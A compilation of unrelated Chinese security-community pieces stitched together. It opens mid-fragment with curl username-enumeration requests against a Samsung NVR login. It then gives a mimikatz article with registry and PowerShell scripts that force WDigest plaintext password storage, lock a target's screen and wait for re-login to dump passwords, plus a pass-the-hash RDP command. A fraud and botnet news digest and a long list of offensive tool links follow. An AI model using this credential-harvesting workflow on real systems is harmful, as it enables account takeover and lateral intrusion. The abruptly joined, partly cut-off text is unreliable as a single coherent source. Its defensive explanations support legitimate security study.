$ curl -d "data1=$(echo -n invalid | base64)&data2=x" http://<target IP>/login<meta http-equiv='Content-Type' content='text/html; charset=UTF-8'/><script type='text/javascript' language='javascript'> ("Wrong ID"); top.location.href="./index.html";
然而，当输入用户名和密码后，若系统提示“密码错误”，则说明该用户名是正确的。
$ curl -d "data1=$(echo -n admin | base64)&data2=x" http://<target IP>/login
<meta http-equiv='Content-Type' content='text/html; charset=UTF-8'/>
<script type='text/javascript' language='javascript'>
("Wrong Password");
top.location.href="./index.html";
根据我们的研究：型号为Samsung SRN-1670D (浏览器版本：1,0,0,193, 生产日期：
2013.10.26)的网络硬盘录像机受漏洞的影响最为严重，其他类似的设备和软件也可能受到了影响，只是我们还没有对它们进行进一步的测试，不好妄下断言。 | 社区文章 |
## Preface
前不久在使用mimikatz抓取hash的时候遇到了报错，本着追根溯源的原则去查看了mimikatz抓取密码的原理。在学习的过程中发现了mimikatz的每种报错都有不同的原因，本文就记录一下自己的学习过程，从mimikatz的防御角度出发来分析如何防御mimikatz抓取密码。
## Debug Privilege
这里先放一个微软官方对调试权限的解释：
> 调试权限允许某人调试他们原本无权访问的进程。例如，以在其令牌上启用调试权限的用户身份运行的进程可以调试作为本地系统运行的服务。
>
>
> 调试权限是一种安全策略设置，允许用户将调试器附加到进程或内核。管理员可以修改用户组的安全策略以包含或删除此功能。正在调试自己的应用程序的开发人员不需要此用户权限。调试系统组件或调试远程组件的开发人员将需要此用户权限。此用户权限提供对敏感和关键操作系统组件的完全访问权限。默认情况下，为具有管理员权限的用户启用此属性。具有管理员权限的用户可以为其他用户组启用此属性。
在 windows⾥，调试权限可以⽤来调试进程，甚⾄是调试内核。对于 `mimikatz`
的工作原理必须要读取内存，那么只有它拥有了调试的权限才能去打开进程。所以`mimikatz`能抓取`hash`的一个必要条件拥有调试程序的权限。
默认情况下，本地管理员组是由这个权限的。但是，除非管理员是个程序员，⼀般他应该⽤不到这种权限，因为普通使用电脑的用户一般不会去调试程序。为什么`mimikatz`需要管理员权限才能够抓取`hash`也是这个原因，如果只是一个`user`权限就获得不了调试程序的权限。
本地安全策略是默认给管理员组权限的
在组策略里面也是把调试程序这个权限给了管理员。这里提一个windows的效力位阶，默认情况下，多条策略略不不冲突的情况下，多条策略略是合并的关系；如果冲突的话，优先级高的适用，优先级从低到高分别为
local policy（本地）－> site policy（站点）－> domain policy（域）－> ou policy（组织单元）
那么这里在本地和组策略都为把这个权限给了管理员的情况下也不需要使用windows的效力位阶再去分配权限，即`Administrator`权限就能够调试程序
这里在没有更改原始本地策略和组策略的情况下，使用`privilege::debug`提升权限是能够提权成功的
但当我在组策略中将调试程序设为空，即任何权限都不能够调试程序的情况下再去尝试用`privilege::debug`提升权限
发现已经报错，不能提升权限，根本原因就是因为`mimikatz`不能够获取调试权限则不能够提权
## WDigest
何为`WDigest`?
> WDigest即摘要身份验证，摘要身份验证是一种质询/响应协议，主要在 Windows Server 2003 中用于 LDAP 和基于 Web
> 的身份验证。它利用超文本传输协议 (HTTP) 和简单身份验证安全层 (SASL)
> 交换进行身份验证。在较高级别上，客户端请求访问某些内容，身份验证服务器向客户端提出质询，客户端通过使用从密码派生的密钥对其响应进行加密来响应质询。将加密的响应与身份验证服务器上存储的响应进行比较，以确定用户是否具有正确的密码。
`WDigest`有何作用？
> Windows 安全审核应该是每个人的优先事项，了解您的端点的配置方式以及它们可能为恶意用户打开哪些门与保护任何环境都相关。这就是 WDigest
> 发挥作用的地方，与 WDigest 相关的事情是它以明文形式将密码存储在内存中。
> 如果恶意用户可以访问端点并能够运行像 Mimikatz
> 这样的工具，他们不仅可以获得当前存储在内存中的哈希值，而且还可以获得帐户的明文密码。这显然是一个问题，因为现在他们不仅能够利用像pass-the-> hash这样的攻击，而且他们现在还可以使用用户名和密码来尝试登录 Exchange、内部网站等。
回到`WDigest`在`mimikatz`使用过程中的作用，我们知道`WDigest`利用`HTTP`和`SASL`进行身份验证，具体表现为把明文密码存在`lsass.exe`进程里通过`http`进行认证。这也衍生出了一个问题，一旦攻击者从中利用，就可以获得明文，所以`WDigest`明文传输是极其不安全的。所以在win2008之后的版本`WDigest`是默认不启用的，在win2008之前的版本虽然打开了`WDigest`，但是如果系统上安装了`KB2871997`补丁的话，也不能从中获得明文。
这里说到`KB2871997`补丁补充一个点，我们知道`KB2871997`这个补丁的作用就是关闭`WDigest
Auth`，但是并不是完全关闭。因为某些系统服务(如IIS的SSO身份认证)就需要用到`WDigest
Auth`，所以这里微软选择了一个折中的方法，让用户选择是否关闭`WDigest Auth`，安装补丁之后可以自己选择是否开启`WDigest
Auth`，如果选择开启`WDigest Auth`的话还是会保存明文密码
`KB2871997`对应的注册表键值为`UseLogonCredential`
`WDigest`的注册表位于
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest
这里首先看一下没有安装补丁的情况，可以看到这里是没有`UseLogonCredential`这个值的
可以看到这里是抓取得到明文的
这里我到微软官方下载一下补丁
安装完成后发现已经有了这个键值，再尝试用`mimikatz`抓取明文发现已经抓不到了
这里如果要设置为能够重新用`WDigest`存储明文使用命令修改`UseLogonCredential`键值修改为1即可
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
因为这里锁屏之后要注销后重启才能够抓到明文密码，但是我们在不知道明文的情况下就登陆不了，所以这里就需要考虑如下问题：
修改注册表
锁屏
进入循环，判断当前系统是否结束锁屏状态
用户登录后，跳出循环等待，立即导出明文口令并保存
所以这里需要实现以下几个步骤，这里因为本人水平有限，所以这个地方参考了三好学生大佬的powershell代码，这里向三好学生大佬表示衷心感谢
* 使用powershell实现注册表键值修改
修改键值为1
#!bash
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1
这里判断注册表键值是否为0，如果为1则等待10s再判断，如果为0则退出循环，可以用来监控注册表键值是否被修改
#!powershell
$key=Get-ItemProperty -Path "Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\" -Name "UseLogonCredential"
$Flag=$key.UseLogonCredential
write-host "[+]Checking Flag"
while($Flag -eq 1)
{
write-host "[+]Flag Normal"
write-host "[+]Wait 10 Seconds..."
Start-Sleep -Seconds 10
$key=Get-ItemProperty -Path "Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\" -Name "UseLogonCredential"
$Flag=$key.UseLogonCredential
write-host "[+]Checking Flag"
}
write-host "[!]Flag Changed!"
这里使用powershell脚本运行脚本，可以看到在没有修改的情况下是10s刷新一次
powershell.exe -ExecutionPolicy Bypass -File test.ps1
在修改注册表为0之后脚本停止退出循环
* 锁屏
正常情况下windows锁屏的快捷键是win+L，但是这里我们如果是在渗透的过程中就不能使用win+L对对方主机进行锁屏，这里就需要使用cmd命令来使对方主机锁屏
cmd命令如下：
rundll32.exe user32.dll,LockWorkStation
使用powershell实现：
#!powershell
Function Lock-WorkStation {
$signature = @"
[DllImport("user32.dll", SetLastError = true)]
public static extern bool LockWorkStation();
"@
$LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru
$LockWorkStation::LockWorkStation() | Out-Null
}
Lock-WorkStation
powershell.exe -ExecutionPolicy Bypass -File test2.ps1
* 判断锁屏状态
这里的思路是通过判断`GetForegroundWindow()`这个函数的返回值来确定是否锁屏。在锁屏状态下`GetForegroundWindow()`这个函数返回值为`NULL`，在非锁屏状态下`GetForegroundWindow()`这个函数返回值为非空。
循环判断当前是否为锁屏状态，如果不是锁屏状态，退出循环，否则循环等待
#!powershell
function local:Get-DelegateType {
Param (
[OutputType([Type])]
[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),
[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void]
)
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object Reflection.AssemblyName('ReflectedDelegate')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
$TypeBuilder.CreateType()
}
function local:Get-ProcAddress {
Param (
[OutputType([IntPtr])]
[Parameter( Position = 0, Mandatory = $True )]
[String]
$Module,
[Parameter( Position = 1, Mandatory = $True )]
[String]
$Procedure
)
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
$GetProcAddress.Invoke($null, @([Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
Start-Sleep -Seconds 10
$GetForegroundWindowAddr = Get-ProcAddress user32.dll GetForegroundWindow
$GetForegroundWindowDelegate = Get-DelegateType @() ([IntPtr])
$GetForegroundWindow = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetForegroundWindowAddr, $GetForegroundWindowDelegate)
$hWindow = $GetForegroundWindow.Invoke()
write-host "[+]Checking Flag"
while($hWindow -eq 0)
{
write-host "[+]LockScreen"
write-host "[+]Wait 10 Seconds..."
Start-Sleep -Seconds 10
$GetForegroundWindowAddr = Get-ProcAddress user32.dll GetForegroundWindow
$GetForegroundWindowDelegate = Get-DelegateType @() ([IntPtr])
$GetForegroundWindow = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetForegroundWindowAddr, $GetForegroundWindowDelegate)
$hWindow = $GetForegroundWindow.Invoke()
write-host "[+]Checking Flag"
}
write-host "[!]Got Screen!"
* 导出明文密码
在判断用户重新登录之后即可使用mimikatz导出明文密码，因为这里`UseLogonCredential`的值已经为1，能够导出明文密码
## Credential Caching
何为`Credential Caching`？
> Credntial Caching即凭证缓存。HTTP Server API 仅在用于 NTLM 身份验证的 Keep-Alive (KA)
> 连接上缓存凭据。默认情况下，HTTP Server API 缓存在 KA 连接上发送的第一个请求中获得的凭据。客户端可以在没有授权头的情况下在 KA
> 连接上发送后续请求，并根据之前建立的上下文获取身份验证。
>
> 在这种情况下，HTTP Server API
> 将基于缓存凭据的令牌发送到应用程序。代理发送的请求的凭据不会被缓存。应用程序通过在HTTP_SERVER_AUTHENTICATION_INFO
> 中设置DisableNTLMCredentialCaching标志来禁用 NTLM 凭据缓存在调用
> HttpSetServerSessionProperty 或 HttpSetUrlGroupProperty 时提供的结构。当凭据缓存被禁用时，HTTP
> Server API 会丢弃缓存的凭据并为每个请求执行身份验证
`Domain Cached
Credentials`简称`DDC`，也叫`mscache`。有两个版本，XP/2003年代的叫第⼀代，Vasta/2008之后的是第⼆代。`DDC`的发明其实是`kerberos`的衍生，因为在`kerberos`协议中会有域成员暂时访问不到域控的情况出现，而`DDC`的发明就是为了方便域成员在访问不到域控的情况下诞生的。如果暂时访问不到域控的话，windows会尝试使用本机缓存的凭证进行认证，凭证在本机上默认缓存十条。
缓存的位置在(Administrator也不能够访问)：
HKEY_LOCAL_MACHINE\SECURITY\Cache
默认情况下为缓存10条缓存
这里首先尝试以下使用`mimikatz`抓取hash，是能够抓取到的
再尝试把缓存次数改为0
这里需要在域内的机器才能够完成实验，这里我换了一台在域内的win7系统。关掉域控再次登录时发现域成员已经限制不能够登录
使用本地administrator帐号登陆上去提权到system，发现抓取不到hash
## Protected Users Group
受保护的用户组，可以用来像本地管理员这样的高权限用户只能通过`kerberos`来认证。这个受保护的用户组是在win2012之后引进的一个安全组(win2008及以前的系统在安装了`KB2871997`补丁之后也会增加这个安全组)。这个安全组的设置就是为了防止明文存储在内存中和ntlm
hash的泄露，原因大概是因为通过`kerberos`认证会更安全。加入的方法也比较简单，只需要把需要保护的用户添加进这个受保护的用户组即可。
## Restricted Admin Mode
何为`Restricted Admin Mode`？
> Restricted Admin Mode即受限管理员模式。最初为 Windows 8.1 和 Server 2012 R2
> 引入（win2008及之前的版本需要KB2871997、KB2973351补丁），受限管理模式是一项 Windows 功能，可防止将 RDP
> 用户的凭据存储在建立 RDP 连接的计算机的内存中。实际上，这将防止用户（通常是管理员）在 RDP 进入受感染主机后从内存中读取他们的凭据。
为防止凭据存储在远程计算机上，受限管理员更改了远程桌面协议，使其使用网络登录而不是交互式登录进行身份验证。有了这种保护，建立 RDP
会话将不需要提供关联的密码；相反，用户的 NTLM Hash 或 Kerberos 票证将用于身份验证。
客户端和服务器的受限管理员已向后 移植 到 Windows 7 和 Server 2008，但在大多数标准 Windows
版本上默认情况下仍处于禁用状态，这是由于围绕其使用的一些注意事项。
`Restricted Admin Mode`的使用需要客户端和服务端相互配合，在服务端开启需要在注册表中添加如下键值
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
这里查看下客户端版本是否为`rdp 8.1`
首先管理员模式可以用当前登录凭证进行登录
使用`mimikatz`进行`hash传递`
sekurlsa::pth /user:<username> /domain:<comptername or ip> /ntlm: <ntlm hash> "/run:mstsc.exe /restrictedadmin"
连接成功
## Summary
本来在研究的时候我以为是`KB2871997`这个补丁直接限制了pass
hash，但是在阅读许多大佬文章后发现，`KB2871997`并不能直接限制pass hash，而是通过几种措施限制：
1、 支持“ProtectedUsers”组；
2、 Restricted Admin RDP模式的远程桌面客户端支持；
3、 注销后删除LSASS中的凭据；
4、 添加两个新的SID；
5、 LSASS中只允许wdigest存储明文密码。
其中1、2、5三点在之前都已经提到过这里就不继续延伸了，这里主要说一下3、4两点
首先是第3点，在注销后删除LSASS中的凭据，在更新之前，只要用户登录系统，Windows就会在lsass中缓存用户的凭据，包括用户的明文密码、LM/NTLM
HASH、Kerberos的TGT票据、SessionKey
再就是第4点，在补丁中会添加两个新的SID，分别为S-1-5-113、S-1-5-114
> 本地帐户，LOCAL_ACCOUNT（S-1-5-113），所有本地帐户继承自此SID；
>
> 本地帐户和管理组成员，LOCAL_ACCOUNT_AND_MEMBER_OF_ADMINISTRATORS_GROUP（S-1-5-114），所有管理员组的本地用户继承此SID。
S-1-5-114这里在中文操作系统中提供的翻译是“NTAUTHORITY\本地帐户和管理员组成员”，但实际上是“所有本地Administrators组中的本地帐户”，即域用户即使被加入到了本地Administrators组也不继承此SID。
这个SID对于限制横向渗透的远程连接并没有任何实质的作用，它的主要作用是更方便的防止通过网络使用本地帐户登录。对于防御人员来说我们可以通过将这两个SID对应的组加入组策略中的下列选项，从而限制攻击者能够从外部访问本地系统/服务：
拒绝从网络访问这台计算机
拒绝通过远程桌面服务登录
## Reference
<https://3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-%E5%88%A9%E7%94%A8DCOM%E5%9C%A8%E8%BF%9C%E7%A8%8B%E7%B3%BB%E7%BB%9F%E6%89%A7%E8%A1%8C%E7%A8%8B%E5%BA%8F> | 社区文章 |
# 揭秘！不为人知的银行卡“四件套”买卖黑灰产江湖
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 诈骗先知
### 揭秘！不为人知的买卖银行卡黑灰产江湖：银行卡“四件套”明码售卖！
在个人信息倒卖的“黑市”里，买卖 **银行卡“四件套”**
（一般是指银行卡、对应绑定的手机卡、身份证和U盾）助诈骗的黑灰产暗流涌动。非法买卖、出借、出租电话卡、银行卡、企业营业执照、对公账户、公民个人信息等产业，逐渐形成链条化、体系化犯罪“产业链”。而法律意识淡薄、收入少的年轻群体位于产业链的最上游。
**案例经过**
某大学生李某在QQ兼职群里，看到一名网友发布的兼职信息，招募大学生兼职办卡。办几张卡就能日赚百元？一直沉迷网游的李明对此很动心。
添加微信后，对方表示：办卡是购物网站刷单用的，还有直播刷礼物等用途，并发来“租用银行账户协议”。李
**某在对方的指导下，办理银行卡并开通了网银和U盾，银行卡密码设定为对方指定的数字。** 在签订完“租用银行账户协议”后，对方
**以验证身份为由，还索要了李某的身份证照片。**
不久后，李某接到警方电话，得知自己的银行账户涉嫌为诈骗赃款“洗钱”，得知被骗。
**“四件套”背后的贩卡黑交易**
无独有偶，李某只是被骗用户之一。通过网络搜索发现，“四件套”被明码标价的售卖，有的开价2500元，有的800元包3个月，可提供真实的身份证复印件，3个月后可续费重新购买。
图片来自网络
同时， **银行卡的买卖呈现拉皮条的收购模式。**
不法分子采取招聘兼职、优惠办理、直接购买等多种形式，获得公民身份证、手机号卡、银行卡、网银U盾等，为电信网络诈骗犯罪提供资金支付结算渠道。银行卡“四件套”在收购时一般每套200元，但在过程中层层转卖，层层加价，最后到真正的买家手里最高可以卖到每套3000元。
**安全课堂**
注意保护个人信息，妥善管理好自己的电话卡、银行卡、企业营业执照等物品，任何买卖、出借、出租等行为都有可能存在法律风险，严重的还要被追究刑事责任。
### 行业动态
### 新HEH僵尸网络清除了可能会阻塞设备的设备
360公司网络安全部门Netlab的研究人员发现了一个名为 **HEH的新僵尸网络**
，其中包含清除来自受感染系统（如路由器，IoT设备和服务器）的所有数据的代码。
图片来自网络
专家注意到，该恶意软件支持多种CPU体系结构，包括x86（32/64），ARM（32/64），MIPS（MIPS32 / MIPS-III）和PPC，它是用Go开源编程语言编写的
。僵尸网络通过发动暴力攻击，将SSH端口（23和2323）在线暴露的系统作为目标。该名称来自示例内部的项目，专家分析的系列示例由作者在Windows平台的WSL环境中构建。一旦获得对设备的访问权限，该机器人就会下载安装HEH恶意软件的七个二进制文件之一。
对HEH Bot的分析显示，它包含三个功能模块：传播模块，本地HTTP服务模块和P2P模块。
**该恶意软件能够擦除家庭路由器，物联网（IoT）智能设备和Linux服务器上的内容。**
即使僵尸网络仍在传播，专家们注意到僵尸网络的实施还存在其他主要问题，例如，P2P实施仍然存在缺陷。
## 国际前沿
### 日本七大电子支付品牌连发盗刷事件，涉及十余家银行
日前，日本最大的移动运营商“都科摩”的电子支付系统接连发生多起盗刷事件，目前盗刷损失已扩大到约合人民币180万元。此外，日本多家主要的电子支付平台也被证实几乎全部中招，
**包括软银和雅虎旗下的“Pay Pay”、LINE旗下的“LINE Pay”等共有七家电子支付品牌被查出存在盗刷问题，**
金额在约合人民币2万元到22万元不等。涉及的银行至少十余家，多为安全系统相对薄弱的日本地方银行，但也不乏邮储银行、瑞穗银行这样的银行业巨头。
除了电子支付平台的盗刷事件之外，日本最大的网络证劵公司SBI证券也曝出了用户资金被盗的事件，该公司近日发现有6名用户账号内共计约1亿日元、约合人民币600万元，被非法转入诈骗分子以虚假身份开设的银行账户内。这其中涉及的银行同样包括三菱日联银行、邮储银行等银行业巨头。
多家电子支付平台发生盗刷的背后，一定程度上与日本电子支付行业竞争加剧有关。去年秋季日本开始大力推行电子支付，众多企业纷纷涉足，一时间支付安全存在隐患。 | 社区文章 |
Github地址： <https://github.com/she11c0der/Scanners-Box/blob/master/README_CN.md>
# 安全从业人员常用工具指引
### 简介
安全行业从业人员常用工具指引，包括各类在线安全学习资料和安全检测工具，she11c0der自用版。
* * *
#### 入门指南
* <https://wizardforcel.gitbooks.io/web-hacking-101/content/> Web Hacking 101 中文版
* <https://wizardforcel.gitbooks.io/asani/content/> 浅入浅出Android安全 中文版
* <https://wizardforcel.gitbooks.io/lpad/content/> Android 渗透测试学习手册 中文版
* <https://wizardforcel.gitbooks.io/kali-linux-web-pentest-cookbook/content/> Kali Linux Web渗透测试秘籍 中文版
* <https://github.com/hardenedlinux/linux-exploit-development-tutorial> Linux exploit 开发入门
* <https://www.gitbook.com/book/t0data/burpsuite/details> burpsuite实战指南
* [http://www.kanxue.com/?article-read-1108.htm=&winzoom=1](http://www.kanxue.com/?article-read-1108.htm=&winzoom=1) 渗透测试Node.js应用
* <https://github.com/qazbnm456/awesome-web-security> Web安全资料和资源列表
* <https://sec-wiki.com/> sec-wiki安全维基百科
#### fuzz工具收集
* <https://github.com/ivanfratric/winafl>
* <https://github.com/attekett/NodeFuzz>
* <https://github.com/google/oss-fuzz>
* <http://blog.topsec.com.cn/ad_lab/alphafuzzer/>
* <http://llvm.org/docs/LibFuzzer.html>
#### 子域名枚举
* <https://github.com/lijiejie/subDomainsBrute> (经典的子域名爆破枚举脚本)
* <https://github.com/ring04h/wydomain> (子域名字典穷举)
* <https://github.com/le4f/dnsmaper> (子域名枚举与地图标记)
* <https://github.com/0xbug/orangescan> (在线子域名信息收集工具)
* <https://github.com/TheRook/subbrute> （根据DNS记录查询子域名)
* <https://github.com/We5ter/GSDF> (基于谷歌SSL透明证书的子域名查询脚本)
* <https://github.com/mandatoryprogrammer/cloudflare_enum> （使用CloudFlare进行子域名枚举的脚本）
* <https://github.com/18F/domain-scan> (A domain scanner）
* <https://github.com/guelfoweb/knock> (Knock Subdomain Scan)
* <https://github.com/Evi1CLAY/CoolPool/tree/master/Python/DomainSeeker> （多方式收集目标子域名信息）
* <https://github.com/code-scan/BroDomain> (兄弟域名查询）
* <https://github.com/chuhades/dnsbrute> (基于dns查询的子域名枚举)
#### web应用扫描器
* <http://github.com/Arachni/arachni> （web应用安全扫描器框架 [http://www.arachni-scanner.com）](http://www.arachni-scanner.com%EF%BC%89)
#### 数据库扫描、注入工具
* <https://github.com/sqlmapproject/sqlmap> （注入工具之王sqlmap）
* <https://github.com/0xbug/SQLiScanner> (一款基于SQLMAP和Charles的被动SQL注入漏洞扫描工具)
* <https://github.com/stamparm/DSSS> (99行代码实现的sql注入漏洞扫描器)
* <https://github.com/youngyangyang04/NoSQLAttack> (一款针对mongoDB的攻击工具)
* <https://github.com/Neohapsis/bbqsql> （SQL盲注利用框架）
* <https://github.com/NetSPI/PowerUpSQL> （攻击SQLSERVER的Powershell脚本框架）
* <https://github.com/WhitewidowScanner/whitewidow> (又一款数据库扫描器)
* <https://github.com/stampery/mongoaudit> (MongoDB审计及渗透工具）
* <https://github.com/commixproject/commix> （注入点命令执行利用工具）
#### 弱口令或信息泄漏扫描
* <https://github.com/lijiejie/htpwdScan> (一个简单的HTTP暴力破解、撞库攻击脚本)
* <https://github.com/lijiejie/BBScan> (一个迷你的信息泄漏批量扫描脚本)
* <https://github.com/lijiejie/GitHack> (.git文件夹泄漏利用工具)
* <https://github.com/LoRexxar/BScanner> （基于字典的目录扫描小工具）
* <https://github.com/she11c0der/fenghuangscanner_v3> (各种端口及弱口令检测，作者wilson9x1，原地址失效)
* <https://github.com/ysrc/F-Scrack> （对各类服务进行弱口令检测的脚本)
* <https://github.com/Mebus/cupp> （根据用户习惯生成弱口令探测字典脚本）
* <https://github.com/RicterZ/genpAss> （中国特色的弱口令生成器）
* <https://github.com/netxfly/crack_ssh> （go写的协程版的ssh\redis\mongodb弱口令破解工具）
* <https://github.com/n0tr00t/Sreg> (通过输入email、phone、username的返回用户注册的所有互联网护照信息)
* <https://github.com/repoog/GitPrey> (GitHub敏感信息扫描工具)
* <https://github.com/dxa4481/truffleHog> (GitHub敏感信息扫描工具,包括检测commit等)
* <https://github.com/LandGrey/pydictor> (暴力破解字典建立工具)
* <https://github.com/GDSSecurity/xxe-recursive-download> （xxe漏洞递归下载工具）
* <https://buer.haus/xxegen/> （xxe在线生成利用工具）
#### 物联网设备扫描
* <https://github.com/rapid7/IoTSeeker> （物联网设备默认密码扫描检测工具)
* <https://github.com/shodan-labs/iotdb> (使用nmap扫描IoT设备)
* <https://github.com/jh00nbr/Routerhunter-2.0> （路由器漏洞扫描利用)
* <https://github.com/reverse-shell/routersploit> （路由器漏洞利用框架）
* <https://github.com/scu-igroup/telnet-scanner> (telnet服务密码撞库)
* <https://github.com/RUB-NDS/PRET> （打印机攻击框架）
#### XSS扫描
* <https://github.com/shawarkhanethicalhacker/BruteXSS> （Cross-Site Scripting Bruteforcer）
* <https://github.com/1N3/XSSTracer> (A small python script to check for Cross-Site Tracing)
* <https://github.com/0x584A/fuzzXssPHP> (PHP版本的反射型xss扫描)
* <https://github.com/chuhades/xss_scan> (批量扫描xss的python脚本）
* <https://github.com/BlackHole1/autoFindXssAndCsrf> (自动化检测页面是否存在XSS和CSRF漏洞的浏览器插件）
#### 企业网络自检
* <https://github.com/sowish/LNScan> （详细的内部网络信息扫描器）
* <https://github.com/SkyLined/LocalNetworkScanner> (javascript实现的本地网络扫描器)
* <https://github.com/ysrc/xunfeng> (网络资产识别引擎，漏洞检测引擎）
* <https://github.com/laramies/theHarvester> （企业被搜索引擎收录敏感资产信息监控脚本：员工邮箱、子域名、Hosts）
* <https://github.com/x0day/Multisearch-v2> (搜索引擎聚合搜索，可用于发现企业被搜索引擎收录的敏感资产信息）
#### webshell检测以及病毒分析工具
* <https://github.com/We5ter/Scanners-Box/tree/master/webshell/> （简单的php后门检测工具以及webshell样本库）
* <https://github.com/ym2011/ScanBackdoor> （Webshell扫描工具）
* <https://github.com/yassineaddi/BackdoorMan> （PHP后门扫描）
* <https://github.com/he1m4n6a/findWebshell> （又一款webshell检测工具)
* <https://github.com/Tencent/HaboMalHunter> （哈勃分析系统，linux系统病毒分析及安全检测）
* <https://github.com/PlagueScanner/PlagueScanner> (使用python实现的集成ClamAV、ESET、Bitdefender的反病毒引擎)
* <https://github.com/nbs-system/php-malware-finder> (一款高效率PHP-webshell扫描工具)
* <https://github.com/emposha/PHP-Shell-Detector/> (测试效率高达99%的webshell检测工具)
#### 内网安全渗透测试工具集
* <https://github.com/0xwindows/VulScritp> （企业内网渗透脚本，包括banner扫描、端口扫描；各种通用漏洞利用等）
* <https://github.com/lcatro/network_backdoor_scanner> （基于网络流量的内网探测框架）
* <https://github.com/fdiskyou/hunter> （调用 Windows API 枚举用户登录信息）
* <https://github.com/BlackHole1/WebRtcXSS> （自动化利用XSS入侵内网）
* <https://github.com/AlessandroZ/LaZagne> （本机密码查看提取工具）
* <https://github.com/huntergregal/mimipenguin> （linux密码抓取神器）
#### 端口扫描、指纹识别以及中间件扫描
* <https://nmap.org/download.html> (Nmap端口扫描器之王,<https://svn.nmap.org/>)
* <https://github.com/ring04h/wyportmap> (目标端口扫描+系统服务指纹识别)
* <https://github.com/ring04h/weakfilescan> (动态多线程敏感信息泄露检测工具)
* <https://github.com/EnableSecurity/wafw00f> (WAF产品指纹识别)
* <https://github.com/rbsec/sslscan> （ssl类型识别)
* <https://github.com/urbanadventurer/whatweb> (web指纹识别)
* <https://github.com/tanjiti/FingerPrint> (web应用指纹识别)
* <https://github.com/nanshihui/Scan-T> （网络爬虫式指纹识别)
* <https://github.com/OffensivePython/Nscan> (a fast Network scanner inspired by Masscan and Zmap)
* <https://github.com/ywolf/F-NAScan> (网络资产信息扫描, ICMP存活探测,端口扫描，端口指纹服务识别）
* <https://github.com/ywolf/F-MiddlewareScan> （中间件扫描）
* <https://github.com/maurosoria/dirsearch> (Web path scanner)
* <https://github.com/x0day/bannerscan> （C段Banner与路径扫描）
* <https://github.com/RASSec/RASscan> (端口服务扫描)
* <https://github.com/3xp10it/bypass_waf> （waf自动暴破）
* <https://github.com/3xp10it/xcdn> (尝试找出cdn背后的真实ip)
* <https://github.com/Xyntax/BingC> （基于Bing搜索引擎的C段/旁站查询，多线程，支持API）
* <https://github.com/Xyntax/DirBrute> （多线程WEB目录爆破工具）
* <https://github.com/zer0h/httpscan> （一个爬虫式的网段Web主机发现小工具）
* <https://github.com/lietdai/doom> （thorn上实现的分布式任务分发的ip端口漏洞扫描器）
* <https://github.com/chichou/grab.js> (类似 zgrab 的快速 TCP 指纹抓取解析工具，支持更多协议)
* <https://github.com/Nitr4x/whichCDN> (CDN识别、检测）
* <https://github.com/secfree/bcrpscan> (基于爬虫的web路径扫描器)
#### 针对性漏洞测试工具
* <https://github.com/brianwrf/hackUtils> （java反序列化利用工具集）
* <https://github.com/frohoff/ysoserial> （ java反序列化利用工具）
* <https://github.com/blackye/Jenkins> (Jenkins漏洞探测、用户抓取爆破)
* <https://github.com/code-scan/dzscan> (discuz漏洞扫描)
* <https://github.com/chuhades/CMS-Exploit-Framework> (CMS攻击框架)
* <https://github.com/lijiejie/IIS_shortname_Scanner> (IIS短文件名漏洞扫描)
* <https://github.com/riusksk/FlashScanner> (flashxss扫描)
* <https://github.com/coffeehb/SSTIF> （服务器端模板注入漏洞的半自动化工具）
* <https://github.com/epinna/tplmap> (服务器端模板注入漏洞检测与利用工具)
* <https://github.com/cr0hn/dockerscan> (docker扫描工具)
* <https://github.com/GoSecure/break-fast-serial> （借助DNS解析来检测Java反序列化漏洞工具）
* <https://github.com/dirtycow/dirtycow.github.io> （脏牛提权漏洞exp）
#### 无线网络渗透、扫描
* <https://github.com/savio-code/fern-wifi-cracker/> (无线安全审计工具)
* <https://github.com/m4n3dw0lf/PytheM> （Python网络/渗透测试工具）
* <https://github.com/P0cL4bs/WiFi-Pumpkin> （无线安全渗透测试套件）
#### 代码静态扫描、代码运行栈跟踪
* <https://github.com/exakat/php-static-analysis-tools> （php静态扫描工具集）
* <https://github.com/wufeifei/cobra> (白盒代码安全审计系统)
